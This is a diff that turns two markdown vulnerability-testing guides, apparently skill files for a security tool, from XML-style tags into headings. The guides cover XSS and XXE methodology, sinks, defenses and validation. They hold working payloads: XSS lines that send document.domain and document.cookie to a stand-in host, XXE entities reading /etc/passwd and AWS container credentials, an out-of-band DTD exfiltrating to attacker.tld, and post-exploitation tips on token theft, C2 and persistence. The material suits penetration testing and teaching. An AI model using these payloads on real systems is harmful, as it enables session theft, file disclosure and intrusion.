+XSS persists because context, parser, and framework edges are complex. Treat every user-influenced string as untrusted until it is strictly encoded for the exact sink and guarded by runtime policy (CSP/Trusted Types).
+
+## Scope
 
-<scope>
 - Reflected, stored, and DOM-based XSS across web/mobile/desktop shells
 - Multi-context injections: HTML, attribute, URL, JS, CSS, SVG/MathML, Markdown, PDF
 - Framework-specific sinks (React/Vue/Angular/Svelte), template engines, and SSR/ISR
 - CSP/Trusted Types interactions, bypasses, and gadget-based execution
-</scope>
 
-<methodology>
+## Methodology
+
 1. Identify sources (URL/query/hash/referrer, postMessage, storage, WebSocket, service worker messages, server JSON) and trace to sinks.
 2. Classify sink context: HTML node, attribute, URL, script block, event handler, JavaScript eval-like, CSS, SVG foreignObject.
 3. Determine current defenses: output encoding, sanitizer, CSP, Trusted Types, DOMPurify config, framework auto-escaping.
 4. Craft minimal payloads per context; iterate with encoding/whitespace/casing/DOM mutation variants; confirm with observable side effects beyond alert.
-</methodology>
 
-<injection_points>
+## Injection Points
+
 - Server render: templates (Jinja/EJS/Handlebars), SSR frameworks, email/PDF renderers
 - Client render: innerHTML/outerHTML/insertAdjacentHTML, template literals, dangerouslySetInnerHTML, v-html, $sce.trustAsHtml, Svelte {@html}
 - URL/DOM: location.hash/search, document.referrer, base href, data-* attributes
 - Events/handlers: onerror/onload/onfocus/onclick and JS: URL handlers
 - Cross-context: postMessage payloads, WebSocket messages, local/sessionStorage, IndexedDB
 - File/metadata: image/SVG/XML names and EXIF, office documents processed server/client
-</injection_points>
 
-<context_rules>
+## Context Rules
+
 - HTML text: encode < > & " '
 - Attribute value: encode " ' < > & and ensure attribute quoted; avoid unquoted attributes
 - URL/JS URL: encode and validate scheme (allowlist https/mailto/tel); disallow javascript/data
 - JS string: escape quotes, backslashes, newlines; prefer JSON.stringify
 - CSS: avoid injecting into style; sanitize property names/values; beware url() and expression()
 - SVG/MathML: treat as active content; many tags execute via onload or animation events
-</context_rules>
 
-<advanced_detection>
-<differential_responses>
+## Advanced Detection
+
+### Differential Responses
+
 - Compare responses with/without payload; normalize by length/ETag/digest; observe DOM diffs with MutationObserver
 - Time-based userland probes: setTimeout gating to detect execution without visible UI
-</differential_responses>
 
-<multi_channel>
+### Multi Channel
+
 - Repeat tests across REST, GraphQL, WebSocket, SSE, Service Workers, and background sync; protections diverge per channel
-</multi_channel>
-</advanced_detection>
 
-<advanced_techniques>
-<dom_xss>
+## Advanced Techniques
+
+### Dom Xss
+
 - Sources: location.* (hash/search), document.referrer, postMessage, storage, service worker messages
 - Sinks: innerHTML/outerHTML/insertAdjacentHTML, document.write, setAttribute, setTimeout/setInterval with strings, eval/Function, new Worker with blob URLs
 - Example vulnerable pattern:
-{% raw %}
+```
 const q = new URLSearchParams(location.search).get('q');
 results.innerHTML = `<li>${q}</li>`;
-{% endraw %}
-Exploit: {% raw %}?q=<img src=x onerror=fetch('//x.tld/'+document.domain)>{% endraw %}
-</dom_xss>
+```
+Exploit: `?q=<img src=x onerror=fetch('//x.tld/'+document.domain)>`
+
+### Mutation Xss
 
-<mutation_xss>
 - Leverage parser repairs to morph safe-looking markup into executable code (e.g., noscript, malformed tags)
 - Payloads:
-{% raw %}<noscript><p title="</noscript><img src=x onerror=alert(1)>
-<form><button formaction=javascript:alert(1)>{% endraw %}
-</mutation_xss>
+```
+<noscript><p title="</noscript><img src=x onerror=alert(1)>
+<form><button formaction=javascript:alert(1)>
+```
+
+### Template Injection
 
-<template_injection>
 - Server or client templates evaluating expressions (AngularJS legacy, Handlebars helpers, lodash templates)
-- Example (AngularJS legacy): {% raw %}{{constructor.constructor('fetch(`//x.tld?c=`+document.cookie)')()}}{% endraw %}
-</template_injection>
+- Example (AngularJS legacy): `{{constructor.constructor('fetch(`//x.tld?c=`+document.cookie)')()}}`
+
+### Csp Bypass
 
-<csp_bypass>
 - Weak policies: missing nonces/hashes, wildcards, data: blob: allowed, inline events allowed
 - Script gadgets: JSONP endpoints, libraries exposing function constructors, import maps or modulepreload lax policies
 - Base tag injection to retarget relative script URLs; dynamic module import with allowed origins
 - Trusted Types gaps: missing policy on custom sinks; third-party introducing createPolicy
-</csp_bypass>
 
-<trusted_types>
+### Trusted Types
+
 - If Trusted Types enforced, look for custom policies returning unsanitized strings; abuse policy whitelists
 - Identify sinks not covered by Trusted Types (e.g., CSS, URL handlers) and pivot via gadgets
-</trusted_types>
 
-<polyglot_minimal>
+### Polyglot Minimal
+
 - Keep a compact set tuned per context:
-HTML node: {% raw %}<svg onload=alert(1)>{% endraw %}
-Attr quoted: {% raw %}" autofocus onfocus=alert(1) x="{% endraw %}
-Attr unquoted: {% raw %}onmouseover=alert(1){% endraw %}
-JS string: {% raw %}"-alert(1)-"{% endraw %}
-URL: {% raw %}javascript:alert(1){% endraw %}
-</polyglot_minimal>
-</advanced_techniques>
+HTML node: `<svg onload=alert(1)>`
+Attr quoted: `" autofocus onfocus=alert(1) x="`
+Attr unquoted: `onmouseover=alert(1)`
+JS string: `"-alert(1)-"`
+URL: `javascript:alert(1)`
+
+## Frameworks
+
+### React
 
-<frameworks>
-<react>
 - Primary sink: dangerouslySetInnerHTML; secondary: setting event handlers or URLs from untrusted input
 - Bypass patterns: unsanitized HTML through libraries; custom renderers using innerHTML under the hood
 - Defense: avoid dangerouslySetInnerHTML; sanitize with strict DOMPurify profile; treat href/src as data, not HTML
-</react>
 
-<vue>
+### Vue
+
 - Sink: v-html and dynamic attribute bindings; server-side rendering hydration mismatches
 - Defense: avoid v-html with untrusted input; sanitize strictly; ensure hydration does not re-interpret content
-</vue>
 
-<angular>
+### Angular
+
 - Legacy expression injection (pre-1.6); $sce trust APIs misused to whitelist attacker content
 - Defense: never trustAsHtml for untrusted input; use bypassSecurityTrust only for constants
-</angular>
 
-<svelte>
+### Svelte
+
 - Sink: {@html} and dynamic attributes
 - Defense: never pass untrusted HTML; sanitize or use text nodes
-</svelte>
 
-<markdown_richtext>
+### Markdown Richtext
+
 - Markdown renderers often allow HTML passthrough; plugins may re-enable raw HTML
 - Sanitize post-render; forbid inline HTML or restrict to safe whitelist; remove dangerous URI schemes
-</markdown_richtext>
 
-<special_contexts>
-<emails>
+### Special Contexts
+
+#### Emails
+
 - Most clients strip scripts but allow CSS/remote content; use CSS/URL tricks only if relevant; avoid assuming JS execution
-</emails>
 
-<pdf_and_docs>
+#### Pdf And Docs
+
 - PDF engines may execute JS in annotations or links; test javascript: in links and submit actions
-</pdf_and_docs>
 
-<file_uploads>
+#### File Uploads
+
 - SVG/HTML uploads served with text/html or image/svg+xml can execute inline; verify content-type and Content-Disposition: attachment
 - Mixed MIME and sniffing bypasses; ensure X-Content-Type-Options: nosniff
-</file_uploads>
-</special_contexts>
 
-<post_exploitation>
+### Post Exploitation
+
 - Session/token exfiltration: prefer fetch/XHR over image beacons for reliability; bind unique IDs to correlate victims
 - Real-time control: WebSocket C2 that evaluates only a strict command set; avoid eval when demonstrating
 - Persistence: service worker registration where allowed; localStorage/script gadget re-injection in single-page apps
 - Impact: role hijack, CSRF chaining, internal port scan via fetch, content scraping, credential phishing overlays
-</post_exploitation>
 
-<validation>
+### Validation
+
 1. Provide minimal payload and context (sink type) with before/after DOM or network evidence.
 2. Demonstrate cross-browser execution where relevant or explain parser-specific behavior.
 3. Show bypass of stated defenses (sanitizer settings, CSP/Trusted Types) with proof.
 4. Quantify impact beyond alert: data accessed, action performed, persistence achieved.
-</validation>
 
-<false_positives>
+### False Positives
+
 - Reflected content safely encoded in the exact context
 - CSP with nonces/hashes and no inline/event handlers; Trusted Types enforced on sinks; DOMPurify in strict mode with URI allowlists
 - Scriptable contexts disabled (no HTML pass-through, safe URL schemes enforced)
-</false_positives>
 
-<pro_tips>
+### Pro Tips
+
 1. Start with context classification, not payload brute force.
 2. Use DOM instrumentation to log sink usage; it reveals unexpected flows.
 3. Keep a small, curated payload set per context and iterate with encodings.
@@ -163,7 +168,7 @@ URL: {% raw %}javascript:alert(1){% endraw %}
 6. Treat SVG/MathML as first-class active content; test separately.
 7. Re-run tests under different transports and render paths (SSR vs CSR vs hydration).
 8. Test CSP/Trusted Types as features: attempt to violate policy and record the violation reports.
-</pro_tips>
 
-<remember>Context + sink decide execution. Encode for the exact context, verify at runtime with CSP/Trusted Types, and validate every alternative render path. Small payloads with strong evidence beat payload catalogs.</remember>
-</xss_vulnerability_guide>
+### Remember
+
+Context + sink decide execution. Encode for the exact context, verify at runtime with CSP/Trusted Types, and validate every alternative render path. Small payloads with strong evidence beat payload catalogs.

strix/skills/vulnerabilities/xxe.md

@@ -1,173 +1,196 @@
-<xxe_vulnerability_guide>
-<title>XML EXTERNAL ENTITY (XXE)</title>
+# XML EXTERNAL ENTITY (XXE)
 
-<critical>XXE is a parser-level failure that enables local file reads, SSRF to internal control planes, denial-of-service via entity expansion, and in some stacks, code execution through XInclude/XSLT or language-specific wrappers. Treat every XML input as untrusted until the parser is proven hardened.</critical>
+## Critical
+
+XXE is a parser-level failure that enables local file reads, SSRF to internal control planes, denial-of-service via entity expansion, and in some stacks, code execution through XInclude/XSLT or language-specific wrappers. Treat every XML input as untrusted until the parser is proven hardened.
+
+## Scope
 
-<scope>
 - File disclosure: read server files and configuration
 - SSRF: reach metadata services, internal admin panels, service ports
 - DoS: entity expansion (billion laughs), external resource amplification
 - Injection surfaces: REST/SOAP/SAML/XML-RPC, file uploads (SVG, Office), PDF generators, build/report pipelines, config importers
 - Transclusion: XInclude and XSLT document() loading external resources
-</scope>
 
-<methodology>
+## Methodology
+
 1. Inventory all XML consumers: endpoints, upload parsers, background jobs, CLI tools, converters, and third-party SDKs.
 2. Start with capability probes: does the parser accept DOCTYPE? resolve external entities? allow network access? support XInclude/XSLT?
 3. Establish a quiet oracle (error shape, length/ETag diffs, OAST callbacks), then escalate to targeted file/SSRF payloads.
 4. Validate per-channel parity: the same parser options must hold across REST, SOAP, SAML, file uploads, and background jobs.
-</methodology>
 
-<discovery_techniques>
-<surface_map>
+## Discovery Techniques
+
+### Surface Map
+
 - File uploads: SVG/MathML, Office (docx/xlsx/ods/odt), XML-based archives, Android/iOS plist, project config imports
 - Protocols: SOAP/XML-RPC/WebDAV/SAML (ACS endpoints), RSS/Atom feeds, server-side renderers and converters
 - Hidden paths: "xml", "upload", "import", "transform", "xslt", "xsl", "xinclude" parameters; processing-instruction headers
-</surface_map>
 
-<capability_probes>
+### Capability Probes
+
 - Minimal DOCTYPE: attempt a harmless internal entity to detect acceptance without causing side effects
 - External fetch test: point to an OAST URL to confirm egress; prefer DNS first, then HTTP
 - XInclude probe: add xi:include to see if transclusion is enabled
 - XSLT probe: xml-stylesheet PI or transform endpoints that accept stylesheets
-</capability_probes>
-</discovery_techniques>
 
-<detection_channels>
-<direct>
+## Detection Channels
+
+### Direct
+
 - Inline disclosure of entity content in the HTTP response, transformed output, or error pages
-</direct>
 
-<error_based>
+### Error Based
+
 - Coerce parser errors that leak path fragments or file content via interpolated messages
-</error_based>
 
-<oast>
+### Oast
+
 - Blind XXE via parameter entities and external DTDs; confirm with DNS/HTTP callbacks
 - Encode data into request paths/parameters to exfiltrate small secrets (hostnames, tokens)
-</oast>
 
-<timing>
+### Timing
+
 - Fetch slow or unroutable resources to produce measurable latency differences (connect vs read timeouts)
-</timing>
-</detection_channels>
 
-<core_payloads>
-<local_file>
+## Core Payloads
+
+### Local File
+
+```xml
 <!DOCTYPE x [<!ENTITY xxe SYSTEM "file:///etc/passwd">]>
 <r>&xxe;</r>
+```
 
+```xml
 <!DOCTYPE x [<!ENTITY xxe SYSTEM "file:///c:/windows/win.ini">]>
 <r>&xxe;</r>
-</local_file>
+```
 
-<ssrf>
+### SSRF
+
+```xml
 <!DOCTYPE x [<!ENTITY xxe SYSTEM "http://127.0.0.1:2375/version">]>
 <r>&xxe;</r>
+```
 
+```xml
 <!DOCTYPE x [<!ENTITY xxe SYSTEM "http://169.254.170.2$AWS_CONTAINER_CREDENTIALS_RELATIVE_URI">]>
 <r>&xxe;</r>
-</ssrf>
+```
 
-<oob_parameter_entity>
+### OOB Parameter Entity
+
+```xml
 <!DOCTYPE x [<!ENTITY % dtd SYSTEM "http://attacker.tld/evil.dtd"> %dtd;]>
+```
 
 evil.dtd:
+```xml
 <!ENTITY % f SYSTEM "file:///etc/hostname">
 <!ENTITY % e "<!ENTITY &#x25; exfil SYSTEM 'http://%f;.attacker.tld/'>">
 %e; %exfil;
-</oob_parameter_entity>
-</core_payloads>
+```
+
+## Advanced Techniques
+
+### Parameter Entities
 
-<advanced_techniques>
-<parameter_entities>
 - Use parameter entities in the DTD subset to define secondary entities that exfiltrate content; works even when general entities are sanitized in the XML tree
-</parameter_entities>
 
-<xinclude>
+### XInclude
+
+```xml
 <root xmlns:xi="http://www.w3.org/2001/XInclude">
   <xi:include parse="text" href="file:///etc/passwd"/>
 </root>
-- Effective where entity resolution is blocked but XInclude remains enabled in the pipeline
-</xinclude>
+```
+
+- Effective where entity resolution is blocked but XInclude remains enabled in the pipeline
+
+### XSLT Document
 
-<xslt_document>
 - XSLT processors can fetch external resources via document():
+
+```xml
 <xsl:stylesheet version="1.0" xmlns:xsl="http://www.w3.org/1999/XSL/Transform">
   <xsl:template match="/">
     <xsl:copy-of select="document('file:///etc/passwd')"/>
   </xsl:template>
 </xsl:stylesheet>
-- Targets: transform endpoints, reporting engines (XSLT/Jasper/FOP), xml-stylesheet PI consumers
-</xslt_document>
+```
+
+- Targets: transform endpoints, reporting engines (XSLT/Jasper/FOP), xml-stylesheet PI consumers
+
+## Protocol Wrappers
 
-<protocol_wrappers>
 - Java: jar:, netdoc:
 - PHP: php://filter, expect:// (when module enabled)
 - Gopher: craft raw requests to Redis/FCGI when client allows non-HTTP schemes
-</protocol_wrappers>
-</advanced_techniques>
 
-<filter_bypasses>
-<encoding_variants>
+## Filter Bypasses
+
+### Encoding Variants
+
 - UTF-16/UTF-7 declarations, mixed newlines, CDATA and comments to evade naive filters
-</encoding_variants>
 
-<doctype_variants>
+### Doctype Variants
+
 - PUBLIC vs SYSTEM, mixed case <!DoCtYpE>, internal vs external subsets, multi-DOCTYPE edge handling
-</doctype_variants>
 
-<network_controls>
+### Network Controls
+
 - If network blocked but filesystem readable, pivot to local file disclosure; if files blocked but network open, pivot to SSRF/OAST
-</network_controls>
-</filter_bypasses>
 
-<special_contexts>
-<soap>
+## Special Contexts
+
+### SOAP
+
+```xml
 <soap:Envelope xmlns:soap="http://schemas.xmlsoap.org/soap/envelope/">
   <soap:Body>
     <!DOCTYPE d [<!ENTITY xxe SYSTEM "file:///etc/passwd">]>
     <d>&xxe;</d>
   </soap:Body>
 </soap:Envelope>
-</soap>
+```
+
+### SAML
 
-<saml>
 - Assertions are XML-signed, but upstream XML parsers prior to signature verification may still process entities/XInclude; test ACS endpoints with minimal probes
-</saml>
 
-<svg_and_renderers>
+### Svg And Renderers
+
 - Inline SVG and server-side SVG→PNG/PDF renderers process XML; attempt local file reads via entities/XInclude
-</svg_and_renderers>
 
-<office_docs>
+### Office Docs
+
 - OOXML (docx/xlsx/pptx) are ZIPs containing XML; insert payloads into document.xml, rels, or drawing XML and repackage
-</office_docs>
-</special_contexts>
 
-<validation>
+## Validation
+
 1. Provide a minimal payload proving parser capability (DOCTYPE/XInclude/XSLT).
 2. Demonstrate controlled access (file path or internal URL) with reproducible evidence.
 3. Confirm blind channels with OAST and correlate to the triggering request.
 4. Show cross-channel consistency (e.g., same behavior in upload and SOAP paths).
 5. Bound impact: exact files/data reached or internal targets proven.
-</validation>
 
-<false_positives>
+## False Positives
+
 - DOCTYPE accepted but entities not resolved and no transclusion reachable
 - Filters or sandboxes that emit entity strings literally (no IO performed)
 - Mocks/stubs that simulate success without network/file access
 - XML processed only client-side (no server parse)
-</false_positives>
 
-<impact>
+## Impact
+
 - Disclosure of credentials/keys/configs, code, and environment secrets
 - Access to cloud metadata/token services and internal admin panels
 - Denial of service via entity expansion or slow external resources
 - Code execution via XSLT/expect:// in insecure stacks
-</impact>
 
-<pro_tips>
+## Pro Tips
+
 1. Prefer OAST first; it is the quietest confirmation in production-like paths.
 2. When content is sanitized, use error-based and length/ETag diffs.
 3. Probe XInclude/XSLT; they often remain enabled after entity resolution is disabled.
@@ -178,7 +201,7 @@ evil.dtd:
 8. Validate parser options in code/config; do not rely on WAFs to block DOCTYPE.
 9. Combine with path traversal and deserialization where XML touches downstream systems.
 10. Document exact parser behavior per stack; defenses must match real libraries and flags.
-</pro_tips>
 
-<remember>XXE is eliminated by hardening parsers: forbid DOCTYPE, disable external entity resolution, and disable network access for XML processors and transformers across every code path.</remember>
-</xxe_vulnerability_guide>
+## Remember
+
+XXE is eliminated by hardening parsers: forbid DOCTYPE, disable external entity resolution, and disable network access for XML processors and transformers across every code path.